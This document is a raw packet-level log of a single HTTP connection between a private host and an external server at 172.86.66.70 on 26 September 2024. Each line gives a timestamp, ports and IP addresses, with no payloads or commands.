Sep 26, 2024 15:11:10.146775961 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146786928 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.146802902 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.146802902 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.146876097 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.177757978 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.177783966 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.177795887 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.177808046 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.177822113 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.177834034 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.177849054 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.177896976 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.177906990 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.177921057 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.177922964 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.177932978 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.177972078 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.177972078 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.177983046 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.177995920 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.178009987 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.178049088 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.178085089 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.178097963 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.178109884 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.178150892 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.178200006 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.227802992 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.227822065 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.227844000 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.227857113 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.227870941 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.227881908 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.227895021 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.227905035 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.228004932 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.228018999 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.228032112 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.228043079 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.228054047 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.228065968 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.228077888 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.228091955 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.228091955 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.228125095 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.228164911 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.228172064 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.228219032 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.228230953 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.228281975 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.228306055 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.228317976 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.228329897 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.228342056 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.228354931 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.228379965 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.228379965 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.228481054 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.230597973 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.230648994 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.230662107 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.230721951 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.230731010 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.230734110 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.230746984 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.230761051 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.230801105 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.230801105 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.230901003 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.230914116 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.230926037 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.230937004 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.230950117 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.230961084 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.230973005 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.230997086 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.230997086 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.231152058 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231164932 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231175900 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231188059 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231199980 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231201887 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.231211901 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231225967 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231239080 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.231239080 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.231332064 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231344938 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231352091 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.231358051 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231370926 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231399059 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.231399059 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.231559992 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231571913 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231583118 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231592894 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231604099 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231616020 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231626987 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231631041 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.231641054 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231654882 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231684923 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.231684923 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.231709957 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.231786013 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231798887 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231810093 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231822014 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231832981 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231844902 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231879950 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.231879950 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.231900930 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231913090 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231925011 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.231929064 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.232069969 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.232127905 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232141018 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232152939 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232163906 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232170105 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232177019 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232249975 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.232249975 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.232289076 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232300997 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232306957 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232314110 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232326031 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232336998 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232348919 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232359886 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232388020 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.232388020 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.232597113 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232609034 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232620955 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232633114 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232644081 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.232645035 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232656956 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232666969 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.232671022 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232683897 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232695103 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232706070 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232717991 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232738972 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.232738972 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.232774019 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.232976913 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.232989073 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.233000040 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.233011961 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.233023882 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.233035088 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.233047009 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.233057976 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.233069897 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.233083963 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.233102083 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.233102083 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.233215094 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.263915062 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.263931990 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.263945103 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.264022112 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.264040947 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.264054060 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.264058113 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.264058113 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.264066935 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.264089108 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.264100075 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.264111996 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.264122009 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.264123917 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.264134884 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.264163017 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.264163017 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.264202118 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.264221907 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.264234066 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.264302969 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.313899994 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.313934088 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.313945055 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.313976049 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.313987017 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.313993931 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314001083 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314069986 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.314090014 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314102888 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314109087 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.314119101 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314150095 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.314158916 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.314212084 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314224958 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314235926 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314249992 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314268112 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.314368963 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314383030 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314394951 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314405918 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314407110 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.314418077 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314424038 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.314452887 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314471006 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.314492941 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.314492941 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314507008 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.314564943 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.316380024 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316411018 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316422939 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316473007 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.316483021 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316497087 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316559076 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316570997 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316610098 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.316628933 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.316653013 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316662073 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316678047 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316689968 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316700935 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316710949 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.316741943 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.316741943 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.316770077 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316788912 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316802025 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316847086 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316848040 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.316889048 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316900015 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316930056 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316931009 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.316943884 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.316943884 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.316999912 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.317004919 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317018032 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317029953 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317095041 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.317101002 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317112923 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317125082 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317173004 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.317186117 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317198038 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317209005 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317234039 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.317269087 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317281008 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317303896 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317316055 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317326069 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.317363024 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.317425966 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317441940 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317454100 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317502975 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.317502975 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.317503929 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317517996 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317528963 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317553043 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.317648888 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317662954 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317675114 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317687035 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317698002 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317708969 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317715883 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.317715883 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.317724943 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317744017 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.317805052 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.317889929 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317902088 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317913055 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317924023 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317934990 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.317945004 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.317948103 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318005085 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.318005085 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.318114042 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318125963 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318139076 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318150043 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318161964 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318172932 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318192005 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.318192005 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.318227053 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318234921 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.318332911 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318345070 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318356037 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318367958 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318377972 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.318378925 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318392038 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318403006 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318416119 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.318448067 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.318448067 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.318470001 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318602085 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318614006 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318624973 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318635941 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318646908 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318658113 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318669081 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318681955 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318708897 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.318708897 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.318708897 CEST	49727	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:10.318833113 CEST	80	49727	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:10.318845034 CEST	80	49727	172.86.66.70	192.168.2.12
